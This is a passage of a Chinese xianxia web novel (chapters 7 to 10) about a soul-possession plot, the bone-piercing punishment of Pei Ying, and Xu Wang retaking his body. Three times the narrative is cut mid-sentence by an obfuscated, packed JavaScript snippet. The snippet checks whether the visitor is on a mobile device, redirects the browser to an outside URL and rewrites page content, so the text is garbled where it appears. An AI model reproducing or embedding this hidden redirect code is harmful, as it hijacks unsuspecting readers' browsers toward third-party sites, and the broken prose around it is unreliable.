重光默默地盯着他,苏沐白听到系统播报,方才下降的那百分之十好感值就这样又涨了回去。 重光漫不经心地开口:“今日就到这,你先回去吧。” “是,师叔。”苏沐白将小奶猫抱在怀里,起身离去。 为避免引起重光怀疑,苏沐白将小猫一直抱回住所。 他决定将这猫养着,万一哪天重光突然来他的院子里,一定会被他的善心打动。 苏沐白想得很美,可是没一会,就被小猫喵喵的叫声烦得不行。 系统提醒他:“宿主,小猫饿了。” 苏沐白没好气:“饿了我有什么办法?我又没有奶给它喝。” 烦躁片刻,他不耐烦地起身,按照记忆中许妄的做法,去青云山上的河里抓了条鱼,用法术煮熟,然后将鱼肉碾碎喂给小猫。 他本不高兴做这些,可若是小猫吃不饱,饿得骨瘦如柴,被重光看见了又要怀疑他。 苏沐白将鱼肉放在食盆,刚要拿过去给小猫吃,突然听到系统播报:“恭喜宿主,重光仙尊对你的好感值上升百分之五,目前百分之五十。” 苏沐白汗毛直竖,毛骨悚然。 怎么会好感突然上涨了,难道说,重光此刻就在附近看着他吗? 他僵着脖子,好不容易才控制住自己不要转头看。 重光境界太高,若是隐藏在暗中,是不可能被人发现的,就连系统都发现不了。 苏沐白蹲下,将食盆放在小猫面前,柔声道:“乖乖,快吃吧。” 话音刚落,系统再次“滴”一声,好感值又上涨百分之三。 苏沐白背后渗出冷汗。 这岂不是等于二十四小时被人监视? - 自从得知重光不知何时就会突然出现监视他,苏沐白就谨言慎行,一举一动都遵循许妄过往的轨迹。 这一日,苏沐白在执事堂接下一项任务。 任务地点在一处偏远的小山村,报酬只有可怜的两个灵石。 正因为报酬太低,所以这个任务没有其他弟子愿意接。 两个灵石是什么概念?在青云宗里,掉地上两个灵石都没有人愿意弯腰捡,打发要饭花子人家都嫌弃。 可是许妄会接。 许妄就喜欢干这种费力不讨好的事,苏沐白在心里嘲讽。 那个小山村被泥巴怪袭击了,泥巴怪不伤人,只是脏,恶心,影响村民正常生活。 苏沐白忍着恶臭将泥巴怪处理掉,在村民的感恩戴德中面无表情地说一句“不用谢”,随后干脆利落地离去。 ——这就是许妄常常做的事。 噢,还有那个裴映,也很喜欢做这些。两个圣父,苏沐白在心里阴阳怪气。 就在这时,系统忽然出声:“恭喜宿主,重光仙尊对宿主的好感值上升百分之五,目前百分之五十八。” 苏沐白头皮发麻。 不知道什么时候,重光又在跟着他。 这种被人监视的感觉实在被动,并不好受。 不过好消息是好感值又上升了。 苏沐白想想就觉得不是滋味:“模仿许妄好感值就上升,看来重光喜欢的是许妄。” 识海中的许妄无语至极。 这个姓苏的邪祟,为什么不做点正事?夺了他的身体不好好修炼,整日琢磨其他男修。 还有重光仙尊,他本以为重光是醉心修炼无欲无求的大能,原来背地里是个跟踪别人的偷窥狂。 不仅如此,重光搜魂时察觉不对,却谎称毫无问题,害裴映孤立无援。 这样的小人,还厚着脸皮以仙尊自称。 许妄感到恶心。 - 一日,重光给“许妄”传信,叫“许妄”到太初祭坛。 苏沐白不明所以,到了太初祭坛才发现,那里在举行一场祭祀。 和人间寻常祭祀不同,没有摆上鸡鸭鹅猪,祭台之上只有一些馥郁芬芳的瓜果和鲜花。 青云宗几十名长老,从掌门清虚,至外门执事长老,皆在此处。 祭台正上方,挂着两幅巨大的画像。 画像上是一男一女。 女子英气十足,男子清俊温柔。 识海中,许妄望着那画像,怔怔出神。 画中人他太熟悉不过。 正是这些时日,环绕在他身边的、一家三口的温馨时光之中,所出现的那两人。 他们的容颜,许妄已铭记在心。 可是,他们怎么会出现在此处的画像中,还被众人所参拜? …… 人已到齐,清虚率先上前敬香。 随后,他娓娓道来,向众人讲述画中人的故事。 这故事他每年都要讲一遍,以防新晋长老忘记青云宗的恩人—— “画中这位女子,便是人们口中传颂的黑龙神。三百八十八年前,青云宗还是个只有十几人的小宗门时,遭遇魔修进攻,被龙神救下。 这才得以存活这三百余年,不断发展壮大。 后来,宗门内的守拙师弟云游四海,与龙神互生情愫,结为眷侣。 三十年前,仙魔大战中,龙神杀死当时的魔尊厉血霆,又一次拯救人间于水火。 守拙师弟是医修,大战中亦救下许多重伤的修士。 可杀死魔尊后,龙神也遭受重创,不幸陨落。守拙师弟不知所踪。 不久之后,守拙的魂灯也熄灭了。 他们二人的大恩,我们青云宗人必须铭记在心,永不能忘。” 许妄凝神听着。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478859|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前并不知道这些。 在人间村镇的时候,有听过关于黑龙的传闻,可那些传奇故事里从没提到过黑龙是名女子。 他没有见过母亲化龙的形态,从来不知道,自己的母亲原来不是蛟,而是龙。 在许妄记忆里,她从来不是以一当万的龙神,她只是一个会温柔注视着他的母亲而已。 重光忽然叫许妄的名字:“许妄,上前敬香。” 清虚不解,祭奠龙神和守拙师弟,一向只有他们这些长老,弟子们是不参加的。 为何重光叫许妄前来? 重光道:“许妄,或许你不记得了,不过,这就是你母亲和父亲。” 苏沐白流露出惊讶神色。 原来许妄的母亲是龙神? 还有这种好事? 重光话音落下,在场所有长老的目光皆聚集于“许妄”身上。 清虚问:“这是真的吗,许妄?没想到守拙和龙神竟有过一个孩子。” 仔细一想的确合情合理。 或许许妄的妖形并非黑蛟,而是尚未觉醒血脉的黑龙。 又或许,龙神许璃是黑蛟化龙。 而妖和人结合,极少能生下健康的孩子,也只有黑龙这样厉害的人物可以做到。 重光问道:“许妄,你身上有什么父母留下的遗物吗?” 苏沐白在储物戒中翻翻找找,找到一块玉佩。 这是许妄父亲的东西。 徐长老一见这块玉佩,便热泪盈眶道:“这的确是师弟的东西,是我们进门时师父送的,我也有一块。” 徐长老背过身去偷偷擦眼泪,其他几位长老围过来,用慈爱的目光打量着“许妄”。 “果真长得像守拙。” “我看更像龙神。” “许妄啊,这些年受苦了。” …… 清虚感叹:“从前竟不知,你是龙神的孩子。” 那可是黑龙,曾两次拯救人界于水火之中,与寻常的妖物怎可相提并论? 若早知许妄是龙神之子…… 清虚清楚地意识到他曾经对许妄并不公正,悲哀于自己白白修炼数百年,仍旧无法摒除人性中的偏见。 到底是肉体凡胎。 …… 苏沐白被几位长老拉着问长问短,心里乐开了花。 这一次,声望值如同坐火箭一样飞升,瞬间就达成任务目标。 接下来,便无需考虑配角声望值,只专注于攻略主要任务对象即可。 - 很快,许妄父母是龙神和青云宗林守拙这个消息便传遍四海。 许妄的同门惊奇不已,纷纷前来询问、感叹。 宗门中不少女修结伴而来,为了一睹许妄的容颜。 甚至许妄的过往行迹也传开来,众人皆夸赞许妄心地良善,不在乎报酬多少,一心为百姓除害,有真正的侠者之风。 识海中,许妄只觉得荒谬。 过去,众人知道他是妖的孩子,对他唯恐避之不及。 如今这态度实在是天差地别。 走在宗门之中,苏沐白时常接受众人好奇的目光。 不过那好奇不是嫌恶,而是友好的打量和崇敬的注目。 一日,遇见曾欺负过许妄的严景朝一行人。 严景朝犹豫片刻,叫住“许妄”,走上前来。 “从前的事,是我年纪小不懂事,真是对不住。”严景朝低眉顺目地道歉。 不论他是真心还是假意,从此他对许妄不敢再有半点不恭。 毕竟,严家曾经也受过龙神的恩。 许妄的名声今非昔比,那么多双眼睛看着,严景朝必须做出表态。 苏沐白大度道:“罢了,都是从前的事,就让它过去吧。” 严景朝松了口气,对“许妄”道:“许师兄大人不记小人过,今后有什么需要的地方,吩咐一声,严某定当赴汤蹈火。” 看着严景朝令人作呕的虚伪笑容,许妄在黑暗中胸口憋闷。 严景朝?凭什么? 他绝对不可能和严景朝这种人渣达成和解。 不知道第多少次,许妄感到自己过于没用。 在裴映被众人质疑的时候,在姓苏的邪祟改换师门、曲意逢迎重光的时候,在众人虚假的关切声中…… 他太弱了,不够强大,无法夺回属于自己的身体,只能悲哀地躲藏在识海里,屈辱地看着这一切。 他曾经也渴望过有人能关心他,接纳他。 但不是现在这样。 他一直都是他,不因他的父母是谁而改变。 那些人关心在意的根本不是他,而是他父母所带来的光环。 甚至没有人知道,这身体里的灵魂根本不是许妄。 有谁在意真正的他? 许妄想,只有裴映。 他常常想起裴映。 不知道裴映如今在哪里,在做什么。 不知道他现在好不好。 8. 第 8 章 此番是重光让“许妄”的身世曝光于世,苏沐白因此得到许多好处,对重光感激不尽。 他换上一件新衣,黑衣上用金丝银线绣着花纹,比以前许妄穿的简陋黑衣好看得不止一点半点。 随后对着铜镜整理发型,欣赏了一番镜子里的绝世容颜。 苏沐白对眼下的情形十分满意。 攻略重光的进程正在稳步推进,虽然重光有些不为人知的癖好,但总的来说还是相当顺利的。 系统说过,他完成这一次任务,可以选择以许妄的身份留在这个世界。 许妄长得好看,天赋好,如今又拥有人人称颂的好名声。 是苏沐白心中的完美身份。 这样想着,苏沐白脸上忍不住露出笑容。 他最后照了照镜子,准备去找重光仙尊表达感谢。 就在这时,铜镜映照出,他的身后悄无声息出现一个人影。 苏沐白吓得魂都飞了,差点卧槽出声。 他起身欲逃,然而他终究不是许妄,没有继承到许妄细微的肌肉记忆,动作慢半拍。 瞬息之间,身后的人双手掐诀,施展定身术将苏沐白定在原地。 待看清那人的脸,苏沐白脸上霎时褪去血色。 是许久不曾露面的裴映! 裴映消失已经有几个月之久,苏沐白已经把这人忘在脑后。 没想到裴映竟然这样毫无征兆地出现。 此刻裴映英俊的面容在苏沐白看来无比可怖,就像来索命的死神。 裴映定住他是要做什么? 这个问题不需要思考,一定是来杀他的。 苏沐白在脑子里喊:“系统,快帮我解开!” 系统一板一眼道:“宿主,我无法解开定身术。需要宿主自行解开。” 苏沐白急得满头是汗,努力从许妄的记忆中搜寻定身术的解法。 可是根本来不及。 他看到裴映手中拿着一个通体雪白的铃铛,口中念念有词。 随即,铃铛中伸出几道纤细的光线,蜿蜒而出,一直延伸到“许妄”的头顶。 丝线的端头猛然向下,插入“许妄”的头颅。 苏沐白惊恐地睁大眼睛。 疼!好疼! 他头痛欲裂,感到有什么东西缠住他的灵魂,用力向外拉扯。 系统机械地声音道:“警报,警报!宿主灵魂即将离体,请尽快回归。” 识海中的许妄也在摇晃。 他所处的世界天旋地转,地动山摇。 他看向裴映。 裴映又一次来救他了。 许妄当机立断,立即尝试离开所处的区域,若是他和裴映手中的神器一同发力,说不定真的能将苏沐白和系统驱赶出去。 苏沐白疼痛到极点,思维开始混乱。 不行!他不能死! 这已经是他穿越的第十个世界,他的任务马上就要完成了!他还要开启新的生活,绝对不能死在这个时候! 苏沐白大喊:“救命!师叔!掌门!救我——“ “哐”地一声巨响。 房门被砸开。 是重光仙尊。 裴映心里一凉。 他明明确认重光师叔正在闭关,为什么会这么快出现。 苏沐白像是看到大救星,面容扭曲地喊道:“师叔救命!裴映要杀我!” 重光严厉道:“裴映,还不停下!” 裴映眼中闪过急切,口中念咒的速度更快,重光不悦,抬手一挥,一股真气攻向裴映。 裴映向后踉跄几步,面色痛苦,“噗”地吐出一口鲜血来。 识海中,许妄的心都揪紧了。 快停下裴映。 重光来了,这一次注定还是失败。 快点停手吧,不要再受伤了。 然而裴映听不到许妄的声音,他仍固执地诵念咒语,不肯中途放弃。 重光手一扬,溯光剑出现在他手中。 裴映恳求道:“师叔,他不是许妄。请不要阻止我。” 重光冷哼一声:“你在质疑我?是我搜的魂,他是不是许妄我比你清楚。” 裴映不再言语。 他小心地收起白玉铃铛,一把通体漆黑的剑现于手中。 识海中,许妄不解。 黑剑体型宽大,黑到极致,周身弥漫着化不开的黑雾,带着一股不祥的气息。 这不是裴映的剑。 他的坠月剑呢? 裴映双手握剑,对重光仙尊道:“师叔,对不住。” 重光眸光幽深,杀心暗起。 他认得那把剑,那是几百年未曾现世的上古魔剑,陨天。 裴映残害同门,屡教不改,甚至擅自使用魔剑。 他此刻将他杀了,别人也说不出什么。 毫无征兆地,重光身形瞬移,裴映持剑迎上,两把上古宝剑相撞! 伴随一声尖锐的巨响,剑气漾开,许妄的竹屋顿时七零八落,荡然无存。 苏沐白亦被剑气荡出百丈之远,直至撞到一块巨石才停下。 那几根要命的细丝撤出后,他的灵魂重新归位。 他忍着剧痛狼狈起身,给自己撑起结界,打坐疗伤。 远处,裴映挥出一剑,剑锋竟将重光逼退一步。 重光眼中浮现一丝阴霾,杀心更盛。 区区元婴修士,竟能将普通的剑招发挥至此,此子断不可留。 裴映毕竟比重光低一个大境界,即便有陨天剑力量的加持,也并不能在重光手下支撑太久。 渐渐力有不逮,直至完全被压制。 他口中吐出的血,将胸口的白衣尽数染红。 重光要杀他。 裴映意识到这一点。 可他还不能死。 还没有救出许妄,他不能死在这里。 失血过多令裴映感到眩晕。 他听到陨天剑在不停诱惑着他。 把血给它,便可以拥有至高无上的力量。 同时,那也意味着,他将堕入混乱与黑暗,从此,与正道分道扬镳…… “孽徒!还不住手!” 随着一声厉喝,清虚从天而降,双手真气运转,挡在重光与裴映中间。 重光微微皱眉。 此番没能将裴映杀死,可惜。 裴映艰难地喘息着,用手撑着陨天,才能勉强站住,不至于倒下。 清虚看到那把魔剑,目眦欲裂,痛心疾首。 “你!你对得起你死去的爹娘吗?!” 裴映沉默不语。 那头的苏沐白已经恢复得七七八八,见有重光和清虚在场,缓缓走过来,扶着额头,气息虚弱道:“师兄,你就这么恨我吗?一定要杀了我才满意?” 清虚这才明白裴映和重光为何会打起来,恨铁不成钢地骂道:“裴映,你执迷不悟!” 裴映低着头站在那里,一动不动,一言不发。 如同静止的石像。 …… 冰冷森严的戒律殿内,裴映被捆仙索束缚着,跪在石台上,等待审判。 一名弟子上前收缴他身上的法器。 碰巧,今日戒律殿当值的弟子是严景朝。 严景朝手持九层禁宝塔,正准备动手,裴映忽然掀起眼皮瞧了他一眼。 只一眼,便令严景朝毛骨悚然。 他和裴映有过过节,如今裴映沦为阶下囚,他别提有多幸灾乐祸。 可裴映如今的样子,和记忆中那个如春风般和煦的翩翩君子相去甚远,令人倍感陌生。 即便裴映此刻动弹不得,严景朝还是很怕裴映会突然暴起,冷不丁给他来一下,拿着法宝的手都在抖,哆哆嗦嗦地念咒,催动九层禁宝塔将裴映身上的法器尽数吸纳。 包括白玉摄魂铃和陨天剑。 一枚玉制储物簪最后被吸入,裴映抬眸,直直望着玉簪,直至玉簪消失在塔中,再看不见踪迹。 十二位长老到齐,审判开始。 戒律殿长老坐在主位,觑着掌门的神色,小心翼翼地开口:“这个,裴映所犯的罪,依照门规,应当惩戒打神鞭二十鞭,水牢思过三十年。” 他尽可能从轻处罚。 虽说许妄是当前宗门上下的红人,可裴映那也是掌门最得意的弟子,量刑过重说不好会得罪掌门。 他还是选择稍微委屈一下许妄。 不料话音落下,重光仙尊嗤笑一声:“这也算得上惩罚?是哪条门规,说来听听。” 戒律殿长老道:“是第十五条,同门之间打斗,不论缘由,高阶弟子对低阶弟子动手者,惩戒打神鞭二十鞭,水牢思过十年。再加上、加上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478860|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以下犯上,不敬尊长,追加水牢思过二十年,一共三十年。” 重光反驳道:“这可不是打斗啊,许妄根本无力还手,这是残害。单方面残害同门,该如何定罪?” 戒律殿长老擦了擦汗,道:“打神鞭五十鞭。” 然而重光依旧不满意。 “只是残害同门,目无尊长吗?我看还有擅用魔剑,走邪魔外道。”重光轻飘飘地说,“穿骨之刑才配得上他犯的罪。” 话音落下,满场寂静。 识海中,许妄瞳孔剧震。 穿骨之刑?! 不行! 会死人的! 旁听的云隐听到“穿骨之刑”几个字,急得立即起身,跪在裴映身边求情:“掌门,仙尊,三师兄他近来脑子不清醒,一时糊涂才犯下大错,他如今身受重伤,刑罚太重恐支撑不住。何况他虽拿着陨天剑,可并没有堕魔迹象,求各位给三师兄一个改过的机会,若之后他还是不知悔改,再从重处罚。” 说完,云隐回头给其他几位同门使眼色。 可其他人都扭开头去,装作没有看到。 他们也觉得裴映过分了。 事实证明许妄没有被夺舍,裴映为什么还抓着他不放? 即便他们与裴映感情更深,可这件事,确实是裴映错了。 裴映变得让他们不认识。 如果为裴映求情,将许妄置于何地? 许妄的爹娘为拯救人间牺牲,他一个孤儿,这么多年受的苦可想而知,裴映哪怕再讨厌许妄,也没必要对他赶尽杀绝。 云隐见同门无动于衷,面露绝望,只能将希望寄于师父身上。 就在此时,“许妄”忽然起身上前。 他惨白着一张脸,气若游丝,艰难地跪下身去:“师父,师叔,各位长老,三师兄仍以为我是被夺舍了,他也是为我好。他只是有些固执,一时想不通,还请各位高抬贵手,从轻处罚。” 在场众人皆为之动容。 许妄当真善良大度,差点被裴映杀死,还在为裴映求情。 相比之下,裴映更显得心胸狭隘,无容人之量。 从前竟没看出裴映内里是这样的人。 真是知人知面不知心。 众人皆暗暗称赞“许妄”的大度,只有云隐心下一沉,诧异地转头看着“许妄”。 听闻“许妄”的这番话,清虚对裴映更加恼怒,然而终究舍不得对裴映下那么重的手,准备顺水推舟。 “既然许妄都这样说了,那……” 清虚的话还没说完,就被重光打断:“裴映执迷不悟,屡教不改,师兄还要姑息?若刑罚不重,这逆徒仍旧不知悔改,他日,待他堕入魔道,成为毁天灭地的魔头时,可就来不及了。” 清虚张口结舌,不知如何应答。 与重光交好的几位长老亦是从旁劝说:“掌门,这次裴映犯的事可不是小打小闹,那可是陨天剑啊。” “掌门,残害同门之事可不能姑息,必须以儆效尤。” “是啊,我看还是要重罚,不然传出去,别人肯定会诟病我们青云宗纵容弟子。” …… 清虚心烦意乱,闭上嘴,不再言语。 此举等同于默许重光仙尊的话,戒律殿长老察言观色,拍板定罪。 “罪徒裴映,施穿骨之刑,水牢思过三十年。” 裴映跪在地上,听着对他的审判,无波无澜。 识海中,许妄急得团团转。 穿骨之刑痛不欲生,师父为什么不阻止?! 许妄忽然想到,受摄魂铃的影响,如今苏沐白和他的肉身不够契合,他要夺回身体。 即便会因此暴露,被系统和苏沐白绞杀,他也不能眼睁睁看着裴映受刑。 然而,许妄刚要离开他栖身的角落,便被一股大力弹了回去。 一道无形的屏障在阻止他离开。 许妄伸出手放在屏障上,其上有黑色光芒一闪而过。 他感受到上面传来熟悉的气息。 是护心麟。 或许感知到外界危险,护心麟不让他离开。 之前许妄害怕被系统察觉,一直躲藏在这里,不敢有半点异动,此刻才发现,其实他根本出不去。 许妄焦急地望着裴映跪在地上的背影,一颗心像被无形的手攥住,痛苦难言。 9. 第 9 章 所谓穿骨之刑,是用两条由玄冰寒铁打造的粗锁链穿过犯人锁骨,不仅使人痛不欲生,锁链上的寒冰还会冻结犯人的血液与灵力,使其经脉运转滞涩。 刑罚结束后,锁骨处会留下两个狰狞的窟窿,比寻常伤口更难愈合。 由于过于残忍血腥,青云宗戒律殿已经很久没有使用过这么重的刑罚了。 没想到这一次,受刑之人竟是过去人人称颂的掌门亲传弟子,在场之人皆唏嘘不已。 刑罚即刻执行。 裴映被架上行刑台。 他身上仍绑缚着捆仙索,动弹不得,但他也不曾挣扎,面无表情,毫无惧色。 两条三指粗的寒冰锁链腾空而起,锁链一端的尖锐箭头直奔裴映的锁骨而去。 许妄被困在识海深处。 眼睁睁看着裴映受刑。 锁链尖端刺破皮肤的一刻,许妄下意识闭上眼睛。 随后又强迫自己睁开。 裴映所遭受的这些痛苦,皆是因他而起。 他必须亲眼看着,铭记在心。 尖端穿透皮肤,将骨头强行钻开、洞穿,发出令人悚然的“咔嚓”声。 许妄看着裴映额头青筋暴起,咬紧牙关忍受,随后控制不住倒在地上,发出凄厉的惨叫。 清虚等人皆不忍再看,扭过头去。 两条锁链穿过裴映的锁骨,他的血流了一地,浸透白玉石阶。 又因为锁链上的寒冰气息而迅速凝固,由鲜红变成暗红。 许妄想,裴映,我又欠了你这么多。 你别再这样,求你别再管我了,别让我欠你更多了。 还不清,根本还不清。 灵体明明没有眼泪,许妄却觉得自己流泪了。 灵体也没有心脏,可是为什么心这么疼。 疼得他恨不得立即死去,灰飞烟灭,无知无觉。 可是他还不能死。 死了,就再也得不到裴映的消息,他还是想知道裴映今后如何,他希望裴映不要再被他拖累,从今往后能好好的。 - 行刑结束,裴映趴伏在地上,无声无息。 像是死了一般。 许妄的心紧紧揪着,直到云隐飞身上前,确认裴映还活着,才稍稍松开。 那之后,裴映被关押进水牢。 许妄的心一直悬着,裴映受这么重的伤,在水牢里伤口更难愈合,他担心裴映熬不过去。 苏沐白回到新的住所,对方才的血腥场面心有余悸又幸灾乐祸。 他对系统说:“要是裴映死在牢里就好了。不然,等他三十年后出来,我又得提心吊胆。” 之后的几天,当日发生的事情传遍修真界。 裴映一向是风云人物,这次发生这么大的事,众人自然津津乐道。 那枚白玉摄魂铃,原本是太虚宗的法宝,太虚宗宗主说:“裴映来借我的白玉摄魂铃,还以为他要用来降妖除魔,没想到是拿来害许少侠的。早知这样我说什么也不会借给他啊。” 对于裴映用坠月剑来交换一事,只字不提。 对于裴映的遭遇,有人唏嘘,有人幸灾乐祸,但既然青云宗已拍板定罪,如今已经无人再相信裴映。 一个人,用几十年的时间塑造出好名声,名声尽毁却只在一朝一夕之间。 人们不会怀疑是否有隐情,只会感叹,原来之前的好都是装的,知人知面不知心。 …… 云隐穿过阴暗潮湿的长廊,找到关押裴映的牢房。 裴映双腿浸泡在刺骨的冰水中,还穿着那日的衣裳,上面血迹干涸,白衣染成铁锈般的暗红。 他两侧锁骨上留下两个血洞,伤口在缓慢愈合,看起来血肉模糊,分外狰狞。 云隐想象不出那有多痛。 恐怕是每次呼吸都会痛得钻心的程度。 就在这样狼狈的情形下,裴映仍旧脊背挺直,目光清明。 他看到云隐,微微笑了一下:“你来了。” 云隐叹了口气。 “真的决定要走吗?你可知道,你这一走就成了逃犯,再也回不来了。” “我知道。”裴映平静道。 云隐忽然有些恼怒:“师父,师兄,师弟师妹,你全都不要了?值得吗?” 裴映沉默。 他的确愧对师父的教诲,但师父还有其他徒弟,云隐还有别的同门。 可是许妄,如果裴映也不管许妄了,那么再没有人会记得他,为他报仇。 裴映并不在乎世人理不理解。 他只做自己认为对的事。 不论能不能救回许妄,他都要除掉那个邪祟,哪怕付出生命。 这就是对的事。 云隐彻底没话说了。 他拿出伤药,帮裴映撒在伤口上。 很疼,裴映皱眉忍着,一声不响。 伤药效果极佳,最初的疼痛过后,泛起一阵清凉,伤口开始飞速愈合。 云隐说:“这是师父叫我拿给你的。他老人家不知道你的打算,还以为你会乖乖在这里面壁思过。” 裴映沉默不语。 云隐又道:“白玉摄魂铃被太虚宗的老头拿走了。你的剑是不是给他了?那老东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478861|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没还。” 裴映说:“无妨。” 那日他试过,即便当时没有重光打断,也不会成功。白玉摄魂铃只能对邪祟造成伤害,无法真正将他从许妄身体里拖出来。 至于坠月剑……暂且顾不上。 云隐忧心忡忡:“陨天剑被掌门封印,你莫要再惦记。千万不要走上不归路。” 裴映没有回答。 不到万不得已他不会走上那条路,但他无法保证。 “你……”云隐叹气,“罢了。你要的东西我帮你拿来了。” 他先把招魂灯递给裴映,然后又取出一枚青玉簪。 裴映接过,握在手中。 云隐欲言又止:“你对他……” 裴映看他一眼,并不说话,但云隐什么都明白了。 云隐又止不住地叹气:“果然。” 从前师父提过,想让裴映改修无情道,云隐深以为然。 裴映虽然温和,但对谁都一视同仁,做什么都认真,但又对一切都不上心。 这样的人,骨子里反而最是疏离,所有人和事都像是从他生命里轻轻滑过,留不下任何深刻痕迹。 的确是修无情道的最佳人选。 不过后来,云隐发现自己错了。 裴映也是会对什么人产生浓厚兴趣的,比如那个人妖混血的弟子。 云隐不止一次看到裴映在逗那外门弟子,将那少年逗得耳根通红。 还有一次,裴映拿着根平平无奇的储物簪翻来覆去地端详,眉眼间溢满笑意,并不止一次地向同门炫耀。 云隐觉得裴映的笑总是淡淡的,假假的,还从没见他笑成那样过。 只因为那根簪子是许妄送的。 当时的情景令云隐印象深刻,一直记了这么多年。 可令云隐不解的是,自从许妄成为他们的同门师弟,裴映对许妄的态度一下子淡下来。 许妄性格孤僻,独来独往,他们二人的交集只剩下论剑峰上的较量。 那时云隐猜测,许是裴映对许妄的兴趣消退了,但像裴映这样玲珑的人,又不至于处理得那般生硬。 直至今日,云隐才恍然大悟。原是如此,怪不得裴映这么执着。 云隐对裴映道:“老三,我想你可能是对的。” 他对许妄虽不如裴映那么了解,但总觉得许妄不会说出在戒律殿那番话。总之,许妄确实变得有些奇怪。 裴映抬眸。 云隐接着道:“但是没用的,你已经尽力了,放下吧,别再回来了。” 裴映并不回应,只是说:“老五,你也保重。” 10. 第 10 章 是夜。 苏沐白下定决心,动身去重光仙尊的殿宇寻他。 喊了好多声都没有回应。 他又做了几件符合许妄人设的、重光仙尊一看见便会涨好感值的事,好感值却没有任何变化。 苏沐白这下可以确定,重光是真的不在,去闭关了。 机会难得,一定要把握住。 于是半夜三更,苏沐白穿上隐身衣,敛去所有气息,离开住处。 识海中,许妄皱眉,有种不好的感觉,姓苏的鬼鬼祟祟要去做什么? 苏沐白悄无声息地来到关押罪犯的牢狱。 入口处静悄悄,苏沐白小心上前,发现守卫竟然全部昏睡着。 里面传来细微的响动。 苏沐白立刻躲进暗处,看到云隐和裴映从牢里走出来。 裴映一身血衣,云隐戒备地观察四周。 好啊,苏沐白想,云隐竟协助裴映越狱。 不过这样正好。 在外面更方便他动手。 到时候裴映可以悄无声息地死在某个荒山野岭,神不知鬼不觉。 - 裴映让云隐先行离去,以免除云隐帮他逃狱的嫌疑。 随后,潜入藏剑阁,取走被封印的陨天。 陨天力量强大,想要认他为主,封印很轻易便能解除。 做完这些,裴映撑着最后一口气,御剑至千里之外的一座深山中,找到一处山洞,布下简单的结界,倒头昏死过去。 他的灵力和体力仅仅能支撑他到这里。 重伤未愈让裴映的感知能力也大不如前,被人跟上都没能察觉。 当然,这也得益于重光仙尊送的隐身法宝,苏沐白得意地想。 他脚步轻快地走到山洞口,食指轻轻一划,便毁了那结界。 穿骨之刑让裴映当前的境界只相当于元婴,这是杀掉他的最好时机。 苏沐白也不想双手沾上血,可其他人指望不上,尤其那个清虚老头,他已经看出来了,就是想纵容裴映,不忍心处死裴映。 裴映即将走火入魔,他们还在姑息,不肯为民除害。 都是一群道貌岸然的伪君子! 修真界之耻! 苏沐白下定决心,就由自己来当这个恶人。 此时不动手,今后漫长的时光里,始终要活在裴映的威胁之中。 识海中,许妄用尽灵魂之力,企图击碎护心麟凝结而成的屏障。 从裴映被判处穿骨之刑那一刻起,许妄就在这么做了。 无形的屏障上已经出现许多裂缝,许妄低声道:“对不起,娘。” 护心麟是他娘留给他唯一一件东西,可现在他却要毁掉它。 他猜到苏沐白要干什么。 他绝对不能让苏沐白用这双手杀害裴映。 离开识海,也许会魂飞魄散。 可如果裴映因他而死,他有何颜面继续苟活? 一下,两下…… 不知第多少次冲击,那道无形的屏障终于分崩离析,碎裂成一片片闪着黯淡光芒的黑色碎片。 许妄不再隐藏。 向识海中央飞去。 苏沐白正在迈向无知无觉的裴映,忽然头像被针扎似地痛了一下。 “警报!系统核心遭受原主灵魂攻击,开始清除程序。” 什么?!原主灵魂? 苏沐白大惊。 “你不是说许妄已经彻底没了吗?!” 系统无暇回应苏沐白的质问。 识海中,白色光球中延伸出无数数据流锁链,缠向许妄的神魂。 许妄将自己化作万缕锋锐的魂剑,狠狠斩断锁链,射向识海中央的白色光球和灰色神魂。 “啊——好痛——” 苏沐白头痛欲裂,双手抱住头,控制不住地跪倒在地上。 许妄试着让自己的七魄回归身体,将苏沐白的七魄从肢体中挤出去。 苏沐白的三魂七魄全部缩回识海,瑟缩着依附于那颗纯白光球。 因为遭受过白玉摄魂铃的攻击,系统和苏沐白此刻与许妄身体结合不甚紧密,许妄才能占据上风。 然而许妄失望地发现,系统是超越他理解的存在,如同顽固的寄生毒瘤,已经丝丝缕缕渗透进他的识海。 以他此刻的神魂之力,无法将系统从识海中连根拔起。 继续战斗下去,他很快就会力量尽失。 许妄当机立断。 燃烧一魂,将其炼成数道暗金色锁链,向系统和苏沐白缠绕而上。 系统发出机械的非人的警报声,剧烈震颤起来。 “封!” 随着一声厉喝,金色锁链缠绕、锁紧,将系统和穿越者神魂封印在金色牢笼中。 许妄终于夺回身体的掌控权。 